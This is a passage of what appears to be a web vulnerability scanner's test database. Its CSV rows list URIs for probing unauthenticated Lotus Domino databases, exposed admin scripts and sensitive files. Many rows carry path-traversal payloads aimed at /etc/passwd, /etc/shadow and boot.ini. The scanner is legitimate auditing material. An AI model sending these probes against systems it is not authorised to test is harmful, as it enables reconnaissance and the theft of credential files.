without authentication, which may reveal sensitive information.","","" "002147","3092","3","/DEASLog.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002148","3092","3","/DEASLog01.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002149","3092","3","/DEASLog02.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002150","3092","3","/DEASLog03.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002151","3092","3","/DEASLog04.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002152","3092","3","/DEASLog05.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002153","3092","3","/decsadm.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002154","3092","3","/decsdoc.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002155","3092","3","/decslog.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002156","3092","3","/DEESAdmin.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002157","3092","3","/default.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002158","3092","3","/dirassist.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002159","3092","3","/doladmin.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002160","3092","3","/dols_help.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002161","3092","3","/domadmin.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002162","3092","3","/domcfg.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002163","3092","3","/event.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002164","3092","3","/events.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002165","3092","3","/events5.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002166","3092","3","/group.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002167","3092","3","/groups.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002168","3092","3","/help5_admin.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002169","3092","3","/help5_client.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002170","3092","3","/help5_designer.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002171","3092","3","/homepage.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002172","3092","3","/iNotes/Forms5.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002173","3092","3","/iNotes/Forms5.nsf/$DefaultNav","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002174","3092","3","/jotter.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002175","3092","3","/kbccv11.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002176","3092","3","/kbnv11.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002177","3092","3","/kbssvv11.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002178","3092","3","/lcon.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002179","3092","3","/ldap.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002180","3092","3","/leiadm.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002181","3092","3","/leilog.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002182","3092","3","/leivlt.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002183","3092","3","/log4a.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002184","3092","3","/lsxlc.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002185","3092","3","/l_domlog.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002186","3092","3","/mab.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002187","3092","3","/mail/adminisist.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002188","3092","3","/mail1.box","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002189","3092","3","/mail10.box","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002190","3092","3","/mail2.box","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002191","3092","3","/mail3.box","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002192","3092","3","/mail4.box","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002193","3092","3","/mail5.box","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002194","3092","3","/mail6.box","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002195","3092","3","/mail7.box","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002196","3092","3","/mail8.box","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002197","3092","3","/mail9.box","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002198","3092","3","/mailw46.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002199","3092","3","/msdwda.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002200","3092","3","/mtatbls.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002201","3092","3","/mtdata/mtstore.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002202","3092","3","/mtstore.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002203","3092","3","/nntp/nd000000.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002204","3092","3","/nntp/nd000001.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002205","3092","3","/nntp/nd000002.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002206","3092","3","/nntp/nd000003.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002207","3092","3","/nntp/nd000004.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002208","3092","3","/nntppost.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002209","3092","3","/notes.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002210","3092","3","/ntsync4.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002211","3092","3","/ntsync45.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002212","3092","3","/perweb.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002213","3092","3","/private.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002214","3092","3","/public.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002215","3092","3","/qpadmin.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002216","3092","3","/quickplace/quickplace/main.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002217","3092","3","/quickstart/qstart50.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002218","3092","3","/quickstart/wwsample.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002219","3092","3","/readme.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002220","3092","3","/reports.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002221","3092","3","/sample/faqw46","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002222","3092","3","/sample/framew46","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002223","3092","3","/sample/pagesw46","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002224","3092","3","/sample/siregw46","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002225","3092","3","/sample/site1w4646","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002226","3092","3","/sample/site2w4646","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002227","3092","3","/sample/site3w4646","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002228","3092","3","/schema50.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002229","3092","3","/secret.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002230","3092","3","/setupweb.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002231","3092","3","/smbcfg.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002232","3092","3","/smconf.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002233","3092","3","/smency.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002234","3092","3","/smmsg.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002235","3092","3","/smquar.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002236","3092","3","/smsolar.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002237","3092","3","/smtime.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002238","3092","3","/smtp.box","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002239","3092","3","/smtp.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002240","3092","3","/smtpibwq.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002241","3092","3","/smtpobwq.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002242","3092","3","/smtptbls.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002243","3092","3","/smvlog.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002244","3092","3","/software.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002245","3092","3","/srvnam.htm","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002246","3092","3","/statmail.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002247","3092","3","/stauths.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002248","3092","3","/stautht.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002249","3092","3","/stconf.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002250","3092","3","/stconfig.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002251","3092","3","/stdnaset.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002252","3092","3","/stdomino.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002253","3092","3","/stlog.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002254","3092","3","/streg.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002255","3092","3","/stsrc.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002256","3092","3","/test.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002257","3092","3","/today.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002258","3092","3","/userreg.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002259","3092","3","/users.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002260","3092","3","/vpuserinfo.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002261","3092","3","/web.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002262","3092","3","/webuser.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002263","3092","3","/welcome.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002264","3092","3","/wksinst.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002265","3093","1","/finance.xls","GET","200","","","","","Finance spreadsheet?","","" "002266","3093","1","/finances.xls","GET","200","","","","","Finance spreadsheet?","","" "002267","3093","1","/abonnement.asp","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002268","3093","1","/acartpath/signin.asp?|-|0|404_Object_Not_Found","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002269","3093","1","/add_acl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002270","3093","1","/admbrowse.php?down=1&cur=%2Fetc%2F&dest=passwd&rid=1&S=[someid]","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002271","3093","1","/admin/auth.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002272","3093","1","/admin/cfg/configscreen.inc.php+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002273","3093","1","/admin/cfg/configsite.inc.php+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002274","3093","1","/admin/cfg/configsql.inc.php+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002275","3093","1","/admin/cfg/configtache.inc.php+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002276","3093","1","/admin/cms/htmltags.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002277","3093","1","/admin/credit_card_info.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002278","3093","1","/admin/exec.php3","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002279","3093","1","/admin/index.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002280","3093","1","/admin/modules/cache.php+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002281","3093","1","/admin/objects.inc.php4","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002282","3093","1","/admin/script.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002283","3093","1","/admin/settings.inc.php+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002284","3093","1","/admin/templates/header.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002285","3093","1","/admin/upload.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002286","3093","1","/admin_t/include/aff_liste_langue.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002287","3093","1","/adv/gm001-mc/","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002288","3093","1","/aff_news.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002289","3093","1","/approval/ts_app.htm","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002290","3093","1","/archive.asp","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002291","3093","1","/archive_forum.asp","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002292","3093","1","/ashnews.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002293","3093","1","/auth.inc.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002294","3093","1","/b2-tools/gm-2-b2.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002295","3093","1","/bandwidth/index.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002296","3093","1","/basilix.php3","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002297","3093","1","/bigsam_guestbook.php?displayBegin=9999...9999","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002298","3093","1","/bin/common/user_update_passwd.pl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002299","3093","1","/biztalktracking/RawCustomSearchField.asp?|-|0|404_Object_Not_Found","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002300","3093","1","/biztalktracking/rawdocdata.asp?|-|0|404_Object_Not_Found","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002301","3093","1","/board/index.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002302","3093","1","/board/philboard_admin.asp+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002303","3093","1","/boilerplate.asp?NFuse_Template=../../boot.ini&NFuse_CurrentFolder=/SSLx0020Directories|-|0|404_Object_Not_Found","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002304","3093","1","/bugtest+/+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002305","3093","1","/caupo/admin/admin_workspace.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002306","3093","1","/ccbill/whereami.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002307","3093","1","/chat_dir/register.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002308","3093","1","/checkout_payment.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002309","3093","1","/communique.asp","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002310","3093","1","/community/forumdisplay.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002311","3093","1","/community/index.php?analized=anything","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002312","3093","1","/community/member.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002313","3093","1","/compte.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002314","3093","1","/config/html/cnf_gi.htm","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002315","3093","1","/convert-date.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002316","3093","1","/cp/rac/nsManager.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002317","3093","3a","/CSNews.cgi?command=viewnews&database=none","GET","ENV","","","","","csNews reveals system path and other sensitive information in error messages. Also may be possible to bypass authentication mechanism.","","" "002318","3093","1","/csPassword.cgi?command=remove%20","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002319","3093","1","/cutenews/comments.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002320","3093","1","/cutenews/search.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002321","3093","1","/cutenews/shownews.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002322","3093","1","/Data/settings.xml+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002323","3093","1","/database/metacart.mdb+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002324","3093","1","/db.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002325","3093","1","/dbabble","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002326","3093","1","/dcp/advertiser.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002327","3093","1","/defines.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002328","3093","1","/dltclnt.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002329","3093","1","/doc/admin/index.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002330","3093","1","/docs/NED","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002331","3093","1","/dotproject/modules/files/index_table.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002332","3093","1","/dotproject/modules/projects/addedit.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002333","3093","1","/dotproject/modules/projects/view.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002334","3093","1","/dotproject/modules/projects/vw_files.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002335","3093","1","/dotproject/modules/tasks/addedit.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002336","3093","1","/dotproject/modules/tasks/viewgantt.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002337","3093","1","/do_map","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002338","3093","1","/do_subscribe","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002339","3093","1","/email.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002340","3093","1","/emml_email_func.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002341","3093","1","/emumail.cgi?type=.%00","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002342","3093","1","/entete.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002343","3093","1","/enteteacceuil.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002344","3093","1","/etc/shadow+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002345","3093","1","/eventcal2.php.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002346","3093","1","/ez2000/ezadmin.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002347","3093","1","/ez2000/ezboard.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002348","3093","1","/ez2000/ezman.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002349","3093","1","/faqman/index.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002350","3093","1","/filemanager/index.php3","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002351","3093","1","/filemgmt/brokenfile.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002352","3093","1","/filemgmt/singlefile.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002353","3093","1","/filemgmt/viewcat.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002354","3093","1","/filemgmt/visit.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002355","3093","1","/foro/YaBB.pl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002356","3093","1","/forum-ra.asp?n=....//....//....//....//....//....//....//etc.passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002357","3093","1","/forum-ra.asp?n=../../../../../../../../../etc/passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002358","3093","1","/forum-ra.asp?n=../../../../../../../../../etc/passwd%00","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002359","3093","1","/forum-ra.asp?n=/../../../../../../../../../../../boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002360","3093","1","/forum-ra.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002361","3093","1","/forum-ra.asp?n=/etc/passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002362","3093","1","/forum-ra.asp?n=/etc/passwd%00","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002363","3093","1","/forum-ra.asp?n=c:\boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002364","3093","1","/forum-ra_professionnel.asp?n=%60/etc/passwd%60","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002365","3093","1","/forum-ra_professionnel.asp?n=../../../../../../../../../etc/passwd%00","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002366","3093","1","/forum-ra_professionnel.asp?n=../../boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002367","3093","1","/forum-ra_professionnel.asp?n=/....../boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002368","3093","1","/forum-ra_professionnel.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002369","3093","1","/forum-ra_professionnel.asp?n=/../../../../../../etc/passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002370","3093","1","/forum-ra_professionnel.asp?n=/../../../etc/passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002371","3093","1","/forum-ra_professionnel.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002372","3093","1","/forum-ra_professionnel.asp?n=/etc/passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002373","3093","1","/forum-ra_professionnel.asp?n=/etc/passwd%00","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002374","3093","1","/forum-ra_professionnel.asp?n=c:\boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002375","3093","1","/forum.asp?n=%60/etc/passwd%60|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'`'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002376","3093","1","/forum.asp?n=../../../../../../../../../etc/passwd%00|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002377","3093","1","/forum.asp?n=../../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002378","3093","1","/forum.asp?n=/....../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002379","3093","1","/forum.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002380","3093","1","/forum.asp?n=/../../../../../../etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002381","3093","1","/forum.asp?n=/../../../etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002382","3093","1","/forum.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002383","3093","1","/forum.asp?n=/etc/passwd%00|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002384","3093","1","/forum.asp?n=/etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002385","3093","1","/forum.asp?n=c:\boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'c:'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002386","3093","1","/forum/mainfile.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002387","3093","1","/forum/member.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002388","3093","1","/forum/newreply.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002389","3093","1","/forum/newthread.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002390","3093","b","/forum/viewtopic.php","GET","200","","","","","phpBB found.","","" "002391","3093","1","/forum1.asp?n=%60/etc/passwd%60&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002392","3093","1","/forum1.asp?n=....//....//....//....//....//....//....//etc.passwd&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002393","3093","1","/forum1.asp?n=../../../../../../../../../etc/passwd%00&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown 